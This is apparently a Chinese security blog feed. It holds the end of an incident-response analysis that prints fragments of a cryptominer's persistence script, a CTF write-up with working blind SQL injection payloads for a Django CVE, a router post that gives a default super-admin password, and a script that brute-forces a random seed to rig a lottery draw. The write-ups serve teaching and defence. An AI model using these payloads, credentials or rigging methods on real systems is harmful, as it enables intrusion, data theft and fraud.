<span class="c">######</span>
<span class="c">### End of Functii / Varibile ###</span>
<span class="c">## aici incepe tot codu cica</span>
permisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on
</pre></td></tr></tbody></table></code></pre></div></div>
<p>代码对抗的意图很明显,写了个公钥覆盖掉已有的 <code class="language-plaintext highlighter-rouge">authorized_key</code>,然后<code class="language-plaintext highlighter-rouge">chattr</code>设定只读。</p>
<p>他还有个 <code class="language-plaintext highlighter-rouge">/usr/sbin/chattr_bakv2 </code>,推测攻击者在某些地方会把系统原有的 <code class="language-plaintext highlighter-rouge">chattr</code>换个名字,让管理员上去排查的时候没有<code class="language-plaintext highlighter-rouge">chattr</code>可用,好家伙,直呼内行。</p>
<p><code class="language-plaintext highlighter-rouge">/usr/sbin/rmt_remount-open</code> 就是挖矿程序的本体了,先把挖矿程序复制到 <code class="language-plaintext highlighter-rouge">/usr/bin/$random_name</code>,然后启动挖矿程序,删除掉挖矿程序。由于shell脚本本身是 <code class="language-plaintext highlighter-rouge">systemd</code>启动的,我们停止了挖矿程序后 <code class="language-plaintext highlighter-rouge">systemd</code>又会执行一遍这个脚本,陷入无尽的循环。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>functie_on<span class="o">(){</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr/bin
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr
<span class="nv">$static</span> <span class="nv">$locatie_miner_default</span> /usr/bin/<span class="nv">$random_name</span>
/usr/bin/<span class="nv">$random_name</span> <span class="o">></span> /dev/null 2>&1 & <span class="nb">disown
echo</span> <span class="nv">$random_name</span> <span class="o">></span> <span class="nv">$locatie_pid</span>
<span class="nv">$static3</span> <span class="nt">-rf</span> /usr/bin/<span class="nv">$random_name</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>但是又有一个问题,<code class="language-plaintext highlighter-rouge">systemd</code>关心的是这个 shell脚本的状态,shell脚本执行了<code class="language-plaintext highlighter-rouge"> /usr/bin/$random_name > /dev/null 2>&1 & disown</code>就跑路了,<code class="language-plaintext highlighter-rouge">disown</code>参数把这个进程从 <code class="language-plaintext highlighter-rouge">jobs</code>中移除了,即使退出了shell也不会影响他执行。那么,我们给 <code class="language-plaintext highlighter-rouge">/usr/bin/$random_name</code>发送了 <code class="language-plaintext highlighter-rouge">kill -9</code>之后,他的脚本如何发现这个进程已经退出了然后重新启动的呢?我们发送 <code class="language-plaintext highlighter-rouge">kill -i</code>不会影响这个shell脚本的执行的。</p>
<h1 id="后记">后记</h1>
<ol>
<li>两天时间溯源两台机器,甚至有点好玩,无聊的研究生活里面的一点乐趣了(打乒乓球、羽毛球、恰火锅也很快乐) :)</li>
<li>溯源的时候千万不要把攻击者钱包的地址改成自己的然后就不管了,这样攻击者的程序会自动在内网扩散然后上千个CPU帮你挖 xmr ,还有可能吃国家饭 :)</li>
<li>不要把 ssh 映射到公网了,虽然你的口令可能比较强,但是其他用户可能是弱口令</li>
<li>不要用弱口令, <code class="language-plaintext highlighter-rouge">root:123456</code>这类口令基本是白给的</li>
<li>不只是 ssh 容易被攻击, redis 未授权,java框架的各种反序列化分分钟 getshell</li>
<li>挖矿木马已经是极其文明讲理的木马了,如果对方是勒索软件、APT攻击者,那么后果就严重了 :)</li>
<li>建议攻击者下次还是劫持 <code class="language-plaintext highlighter-rouge">getdents</code> 这类系统调用来隐藏自己,直接删除自己这个技术含量不太高,PS一下子就看到了</li>
<li>fa les duo ma laki</li>
</ol>
<h1 id="碎碎念">碎碎念</h1>
<p>昨天移动给我发短信,说我移动号卡行为异常,让我登录移动掌厅或者去营业厅核验。拜托查准率高一点好不好,我就收个快递短信,每天两点一线,用来上个网,怎么就命中断卡行动恶意行为监测的特征了(希望这个特征不要被诈骗分子发现了,虽然我把它写出来了233333)</p>
<p>此时我的手机已经变成了2G网络,只能打电话不能上网了。还好我还有一张卡可以凑合续命。:)</p>
<p><img src="https://static.scuseek.com/20210518192826.png" alt="" /></p>
<p>下载移动掌厅,点击客服,他提示我可能的原因,并且让我 24h 内通过移动公众号或者营业厅核验,有中间商赚差价,直接抽成 <code class="language-plaintext highlighter-rouge">29/30*100%=96.7%</code>,比黄四郎抽的还多 :)</p>
<p><img src="https://static.scuseek.com/20210518192730.png" alt="" /></p>
<p>看了下住的地方旁边有个营业厅,今天早晨8:30走过去,担心去早了没开门。</p>
<p>他给我说关注北京反诈公众号可以操作。</p>
<p>我给他说移动短信让我到营业厅核验。</p>
<p>他给我说他不是移动自己的营业厅,让我去另一个地方,而这个地方就是我小区楼下的营业厅,只是地图上没有。</p>
<p>我说好吧,谢谢您嘞。</p>
<p>于是我又回到了小区外面,一看营业厅上面写的 <code class="language-plaintext highlighter-rouge">10:00-18:00</code> 营业,而我是 996 的打工人,意味着我只有周日才能有时间来了,先用另一张卡凑合续命吧。</p>
<p>准备走的时候看到个70来岁的老大爷和老伴一起来,老大爷看了看那个牌子,给老伴说 10:00 才开门,他老伴说那待会儿再来吧。啊,我也想退休,真好,还能有时间去营业厅,996的人很久没看过日落了。</p>
<p>此时已经快9点了,打工人得快点去打卡,不然就迟到了 :) 等了几分钟公交车来了,车上有点热,人挤人,是生活的味道。国际惯例,豆浆油条,豆浆不要糖,吃完去打卡,当然,最后肯定是迟到了。</p>
<p>中午午饭过后,我给10086打了电话。</p>
<p>10086说查了一下我这个卡确实上是有收到断卡行动的通知的。看起来这个话务员似乎是看的我收短信的记录而不是系统里面查询的,因为他问了我什么时候收到的短信 :)</p>
<p>他说查询了我这个号卡,目前是正常使用的,让我卡不能用了之后再给他打电话。</p>
<p>我说卡不能用了我怎么给10086打电话 :)</p>
<p>他说不影响打10086的,并且目前这张卡是正常使用的。</p>
<p>我说着不正常呀,收到那个短信之后一直是2G信号,不让我上网了。</p>
<p>他又说了一遍现在是正常使用的。</p>
<p>我再看了看手机,移动号卡变成4G信号了 :)</p>
<p>行吧,就这样呐,怎么解决的就不管了,能用就行,问题告一段落。 :)</p>
Tue, 18 May 2021 06:33:03 +0000
https://iansmith123.github.io/2021/05/18/%E4%B8%A4%E6%AC%A1%E6%BA%AF%E6%BA%90/
https://iansmith123.github.io/2021/05/18/%E4%B8%A4%E6%AC%A1%E6%BA%AF%E6%BA%90/
网络安全
应急响应
-
202101-蓝队乙组月赛your_ip题解
<h1 id="序">序</h1>
<p>有学弟问我月赛题目源码,感觉当时写的 wp 可以拿来水一篇博客(笑) :)</p>
<h1 id="概述">概述</h1>
<p>题目在 https://github.com/IanSmith123/your_ip</p>
<p>cve-2019-14234 django jsonfield 注入</p>
<p>此处构造了一个插入数据库和查询数据库的操作,其中查询的操作是可以控制注入的</p>
<p>接口两个</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>http://ip/save/?ip=1.1.1.1&domain=example.com
http://ip/query/?domain=example.com
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="代码泄露">代码泄露</h1>
<p>首页图路径</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://ip/static
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/20210116214606.png" alt="" /></p>
<p>扫描可得存在<code class="language-plaintext highlighter-rouge">http://ip/static/www.zip</code>。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>Hint 1: I love something else beside Assassins creed. :)
Hint 2: There is something interesting in /static, try to find it. :)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>一早上过去了,没有人扫到www.zip,因为一般的扫描器没有开启递归扫描,dirmap修改配置文件开启递归可以很快扫到。给了hint1和hint2之后,有两个同学扫到了www.zip,下午更晚一点的时候第三个同学扫到了www.zip。</p>
<p>在hint2的基础上,可以直接扫<code class="language-plaintext highlighter-rouge">ip:port/static</code>,一般情况下可以在半分钟内扫到泄露的代码。</p>
<h1 id="审计">审计</h1>
<p>下载后审计代码,可以找到</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="c1"># ip/views.py
</span><span class="k">def</span> <span class="nf">query_ip</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
<span class="n">dic</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">GET</span>
<span class="n">dic</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">(</span><span class="n">dic</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">dic</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="s">'query.html'</span><span class="p">)</span>
<span class="c1"># good idea for all kind of query
</span> <span class="n">dic</span> <span class="o">=</span> <span class="p">{</span><span class="sa">f</span><span class="s">"ip__</span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s">"</span><span class="p">:</span> <span class="n">dic</span><span class="p">[</span><span class="n">k</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">dic</span><span class="p">}</span>
<span class="k">print</span><span class="p">(</span><span class="n">dic</span><span class="p">)</span>
<span class="n">my_ip</span> <span class="o">=</span> <span class="n">MyIP</span><span class="p">.</span><span class="n">objects</span><span class="p">.</span><span class="nb">filter</span><span class="p">(</span><span class="o">**</span><span class="n">dic</span><span class="p">).</span><span class="nb">all</span><span class="p">().</span><span class="n">values</span><span class="p">()</span>
<span class="n">my_ip</span> <span class="o">=</span> <span class="p">[</span><span class="n">item</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">my_ip</span><span class="p">]</span>
<span class="k">return</span> <span class="n">JsonResponse</span><span class="p">(</span><span class="n">my_ip</span><span class="p">,</span> <span class="n">safe</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>其中两行是bug的起源,参考 https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>dic = {f"ip__{k}": dic[k][0] for k in dic}
my_ip = MyIP.objects.filter(**dic).all().values()
</pre></td></tr></tbody></table></code></pre></div></div>
<p>此处控制 <code class="language-plaintext highlighter-rouge">domain</code>处,造成sql注入</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://ip/query/?do%27main=example.com
</pre></td></tr></tbody></table></code></pre></div></div>
<p>因为在题目里面,django关闭了debug,遇到错误直接返回500,如果语句构造正确,那么返回200。</p>
<p>因为已经有views.py了,本地可以新建一个django项目,把views.py放进去,可以直接调试构造的sql语句。</p>
<p><img src="https://static.scuseek.com/20210202162554.png" alt="" /></p>
<h1 id="构造poc">构造Poc</h1>
<p>布尔盲注 如果2>1的条件成立,那么返回结果,如果2>1不成立,那么返回空</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">fun</span><span class="p">(</span><span class="n">poc</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"http://ip:8029/query/?domain</span><span class="si">{</span><span class="n">poc</span><span class="si">}</span><span class="s">=b"</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="n">fun</span><span class="p">(</span><span class="s">"""')>'1' or 2>1--"""</span><span class="p">)</span> <span class="c1">#
</span></pre></td></tr></tbody></table></code></pre></div></div>
<p>因为这里不会返回注入的结果,此处可以使用布尔盲注的方式来判断数据。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>124.16.75.162:31056/query/?domain')>'1' or 2>1--=b
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/20210116211213.png" alt="" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://124.16.75.162:31056/query/?domain%27)%3E%271%27%20or%202%3C1--=b
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/20210116211230.png" alt="" /></p>
<p>因此可以构造一个简单的盲注脚本</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">bool_blind</span><span class="p">(</span><span class="n">poc</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"http://ip:8029/query/?domain')>'1' or </span><span class="si">{</span><span class="n">poc</span><span class="si">}</span><span class="s">--=b"</span>
<span class="k">print</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>接下来就是常规的猜表名长度,猜表名,列名的阶段</p>
<p>比如猜当前数据库的库名的第一个字符:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">bool_blind</span><span class="p">(</span><span class="s">"(select ascii(substr(current_database(),1,1))) between 30 and 98"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>不给第三条hint也不会影响做题,但是考虑到表比较多,爆破可能花时间,所以直接给了hint。本地新建一个工程,运行<code class="language-plaintext highlighter-rouge">docker-entrypoint.sh</code>的内容可以看到flag在<code class="language-plaintext highlighter-rouge">auth_user</code>表,省略了猜表名猜列名的步骤,直接到爆破flag的阶段。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre>
<span class="n">Hint</span> <span class="mi">3</span><span class="p">:</span>
<span class="err">$</span> <span class="n">cat</span> <span class="n">docker</span><span class="o">-</span><span class="n">entrypoint</span><span class="p">.</span><span class="n">sh</span>
<span class="c1">#!/bin/bash
</span>
<span class="nb">set</span> <span class="o">-</span><span class="n">ex</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">app</span>
<span class="n">chmod</span> <span class="o">+</span><span class="n">x</span> <span class="n">wait</span><span class="o">-</span><span class="k">for</span><span class="o">-</span><span class="n">it</span><span class="p">.</span><span class="n">sh</span>
<span class="p">.</span><span class="o">/</span><span class="n">wait</span><span class="o">-</span><span class="k">for</span><span class="o">-</span><span class="n">it</span><span class="p">.</span><span class="n">sh</span> <span class="o">-</span><span class="n">t</span> <span class="mi">0</span> <span class="n">psql</span><span class="p">:</span><span class="mi">5432</span> <span class="o">--</span> <span class="n">echo</span> <span class="s">"postgres is up"</span>
<span class="n">python</span> <span class="n">manage</span><span class="p">.</span><span class="n">py</span> <span class="n">makemigrations</span>
<span class="n">python</span> <span class="n">manage</span><span class="p">.</span><span class="n">py</span> <span class="n">migrate</span>
<span class="n">python</span> <span class="n">manage</span><span class="p">.</span><span class="n">py</span> <span class="n">shell</span> <span class="o">-</span><span class="n">c</span> <span class="s">"from django.contrib.auth.models import User; User.objects.create_user('flag', 'flag{fake_flag}', 'this_is_not_important') if not User.objects.filter(username='flag').exists() else 0;"</span>
<span class="k">exec</span> <span class="s">"$@"</span><span class="o">%</span>
<span class="n">You</span><span class="s">'d better create your own web server in your local computer to find the table name, column name and debug your POC.
</span></pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="最终-poc">最终 poc</h1>
<p>最终payload呼之欲出:</p>
<p>爆破flag字符串第一位的ascii码</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">bool_blind</span><span class="p">(</span><span class="s">"(select ascii(substr((select email from auth_user),1,1))) between 0 and 102"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>写脚本修改上限,或者人工二分,都可以快速得到flag</p>
<h1 id="跋">跋</h1>
<p>代码泄露这个阶段卡了大家这么久,这个我得给大家道歉,我没想到这里会是第一个坑,好在连给了两个hint之后,终于有一位同学扫到了/static/www.zip,然后可能和他一起做题的另一个同学,也直接访问了这个路径。没过多久,就看到构造的<code class="language-plaintext highlighter-rouge">ip{poc}=xxx</code>打了过来,以为很快这题就会被秒了,因为已经构造出了布尔盲注的条件了,就差修改之后的判断语句了,可是很遗憾,这两位同学还是没有做出来这道题。</p>
<p>因为flag是在数据库里面,而这里可以使用<code class="language-plaintext highlighter-rouge">postgres</code>的命令执行拿到数据库的shell,但是此处拿到了shell也不能拿到flag,因为有shell也无法登录到数据库里面,也就无法拿到flag,所以我想过在数据库里面也放同样的一个flag,但是最终放弃了这个想法,而是写了个蹩脚的黑名单过滤,让做题的同学回到注入的思路中,结果忽略了大小写可以绕过 :( 日志里面看到这两位同学的大写的 <code class="language-plaintext highlighter-rouge">CMD_EXEC</code>打了过来,心里一惊 :) 不过最后还是没有拿到shell</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">check_danger_string</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
<span class="n">ban_list</span> <span class="o">=</span> <span class="p">[</span><span class="s">'cmd'</span><span class="p">,</span> <span class="s">'shell'</span><span class="p">,</span> <span class="s">'exec'</span><span class="p">,</span> <span class="s">'cyberpunk'</span><span class="p">]</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">ban_list</span><span class="p">:</span>
<span class="k">if</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">s</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">return</span> <span class="bp">True</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>159.226.95.* 扫了挺久的,看日志很多次都和www.zip 擦肩而过,感觉这个扫描器可能不大好使,后来和他交流之后看到他扫到了源码,很快也在日志里面看到了yunsle开始构造poc,可是时间已经不够了 :)</p>
<p>虽然没有同学做出来这道题,不过看同学们做题还是开心的一天啊 :)</p>
<p><img src="https://static.scuseek.com/20210116215647.png" alt="" /></p>
<p>Les1ie</p>
<p>2021年1月10日00:11:58</p>
Tue, 02 Feb 2021 08:17:45 +0000
https://iansmith123.github.io/2021/02/02/%E4%B9%99%E7%BB%84%E6%9C%88%E8%B5%9Byour_ip%E9%A2%98%E8%A7%A3/
https://iansmith123.github.io/2021/02/02/%E4%B9%99%E7%BB%84%E6%9C%88%E8%B5%9Byour_ip%E9%A2%98%E8%A7%A3/
CTF
wp
-
成都移动光猫h2-2的2/3/4口开启DHCP
<h1 id="序">序</h1>
<p>经过实际测试,成都移动光猫h2-2默认情况下是1口插路由器,234口都插机顶盒(我依稀记得去年是13口可以路由器24口光猫的,不知道下发的配置可以修改这个么)。但是家里只需要一个机顶盒,有好几个路由器。现在是1口插了n1,还想插一个路由器进去,但是试过了234口都不行,不能DHCP。</p>
<p>超管进后台可以看到修改服务和端口绑定的地方,但是已经被选中了,不能更改。</p>
<p>可以看到光猫有三个连接,101是pppoe,102是机顶盒的桥接,104是tr069业务下发的</p>
<p><img src="http://static.scuseek.com/20200614010010.png" alt="" /></p>
<h1 id="解决问题">解决问题</h1>
<p>等手机掌厅看到负责这个地方的人的电话,打电话过去问了之后给我说可以路由器lan里面再接路由器,可是我刷的路由器的固件的v6有点问题,没弄好,所以还是希望直接能接到光猫lan口。</p>
<p>对方告诉我那个页面可以看到101 102之类的,取消不想要端口的然后在101里面关联就好了,但是我这里怎么都找不到可以取消的地方,然后他说他可以下午的时候上门调试。</p>
<p><img src="http://static.scuseek.com/20200614002414.png" alt="" /></p>
<p>来了之后重复了我的操作,还是不行,然后他直接把光猫恢复出厂设置了…</p>
<p>重新注册设备,出现了102,取消机顶盒的关联,然后在101里面关联上,问题就解决了 :)</p>
<p><img src="http://static.scuseek.com/20200614002611.png" alt="" /></p>
<p><img src="http://static.scuseek.com/20200614002717.png" alt="" /></p>
<p>好的现在可以愉快的用1/2/3口DHCP了。</p>
<h1 id="光猫高负载">光猫高负载</h1>
<p>新的问题来了,一天之后,连2.4G频段的wifi去ping光猫的延迟1ms-600ms不等,这么高的延迟说明负载非常高,但是在后台看到网速并不不快,并且连5G频段wifi的ping光猫维持1ms,n1连网线下载依然300M满速,最初以为是信道干扰,但是我拔掉了光猫旁边的路由器还是极高延迟,不知道是哪里崩了:(</p>
<p>解决方案:重启解决 :)</p>
<h1 id="重置光猫步骤">重置光猫步骤</h1>
<p><strong>如果遇到同样的问题,建议先联系移动工作人员再操作,避免翻车折腾坏了</strong></p>
<p>如果想过要自己重置的话,需要先找到自己的宽带账号,重置之后需要用到。</p>
<p>在掌厅里面可以看到宽带账号是209开头的,举个栗子<code class="language-plaintext highlighter-rouge">20920200614</code>(长度随便写的),然后密码是去掉20之后的字符串,比如上面这个账号的密码就是<code class="language-plaintext highlighter-rouge">920200614</code>。</p>
<p>重置过程:</p>
<ol>
<li>超管 <code class="language-plaintext highlighter-rouge">CMCCAdmin</code> 密码 <code class="language-plaintext highlighter-rouge">aDm8H%MdA</code> 登进去,找到重置光猫的选项,点击重置</li>
<li>wifi会重置成光猫背面的ssid和密码,重新连接wifi</li>
<li>打开192.168.1.1,点设备注册,输入上面的账号和密码,等待配置下发,如果下发失败就多点几次</li>
<li>去到修改lan口绑定的页面修改即可</li>
</ol>
<h1 id="光猫ipv6防火墙">光猫ipv6防火墙</h1>
<p>光猫给我的内网分了ipv6地址,但是外部连不进来,取消防攻击保护即可</p>
<p><img src="http://static.scuseek.com/20200614003757.png" alt="" /></p>
<p>注意取消之后,外部是可以主动和内网设备发起连接的,注意安全防护,不要以为ipv6地址稀疏就不会被扫到的,naive:)</p>
<h1 id="跋">跋</h1>
<p>以前刷n1系统的时候,插上网线也不会获取ip,我一直一直很以为是n1系统的问题,我重复刷了好多次系统并且也参考网上类似的问题做了修改都不work,然后终于发现是移动光猫DHCP的问题不是镜像的问题:(</p>
<p>至于为什么不改桥接用路由器拨号,原因有2:</p>
<ol>
<li>光猫跑满300M光纤无压力,无需更换</li>
<li>光猫性能比我的20块一台的乐视路由器好 :)</li>
</ol>
<p>另:移动工作人员服务态度太太太好了,我打电话咨询问题,没走类工单系统的流程,他都他超级耐心解答,没解决问题还主动说可以上门调试,调试过程中我问问题也超级耐心回答 :)</p>
<p>超想给个五星好评,无奈没有给好评的地方 :)</p>
<p>Les1ie</p>
<p>2020年6月14日00:48:57</p>
Sat, 13 Jun 2020 16:09:59 +0000
https://iansmith123.github.io/2020/06/13/%E7%A7%BB%E5%8A%A8%E5%85%89%E7%8C%ABh2-2/
https://iansmith123.github.io/2020/06/13/%E7%A7%BB%E5%8A%A8%E5%85%89%E7%8C%ABh2-2/
随笔
-
控制python随机数
<h1 id="intro">intro</h1>
<p>起因是看到v2ex有人发了个送E卡的推广 https://www.v2ex.com/t/618739#reply392 里面有说抽奖的方式</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>import random
seed = [第 300 楼的用户 ID]
random.seed(seed)
print(sorted(random.sample(range(1, 300), 5)))
</pre></td></tr></tbody></table></code></pre></div></div>
<p>选择第300楼的用户名作为种子,然后抽奖
一般来说,种子确定了,生成的随机数的序列就确定了。
python2 3之间生成序列不同,但是 python2或python3自己的小版本内序列是相同的</p>
<p>那么能否控制中奖楼层呢?</p>
<h1 id="attack">attack</h1>
<p>第300楼的用户ID是唯一的输入,而这个 ID是可以控制的,可以注册一个用户名,在第300楼回复即可。顺手写了个脚本来爆破可以生成指定中奖楼层的种子的代码</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python
# coding: utf-8
</span>
<span class="c1"># In[5]:
</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="c1"># In[96]:
</span>
<span class="k">def</span> <span class="nf">find</span><span class="p">(</span><span class="n">seed</span><span class="p">,</span> <span class="n">target</span><span class="p">):</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">sample</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">300</span><span class="p">),</span> <span class="mi">5</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">target</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">t</span><span class="p">:</span>
<span class="n">c</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">c</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
<span class="c1"># In[100]:
</span>
<span class="n">count</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">result</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">asc</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">ascii_letters</span><span class="o">+</span><span class="n">string</span><span class="p">.</span><span class="n">digits</span>
<span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">product</span><span class="p">(</span><span class="n">asc</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">15</span><span class="p">):</span>
<span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">count</span><span class="o">%</span><span class="mi">100000</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"count: {:,d}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">count</span><span class="p">))</span>
<span class="n">s</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="k">if</span> <span class="n">find</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">]):</span>
<span class="c1"># print(s)
</span> <span class="k">print</span><span class="p">(</span><span class="n">count</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span>
<span class="n">result</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="k">break</span>
<span class="c1"># In[95]:
</span>
<span class="k">print</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
<span class="k">for</span> <span class="n">seed</span> <span class="ow">in</span> <span class="nb">set</span><span class="p">(</span><span class="n">result</span><span class="p">):</span>
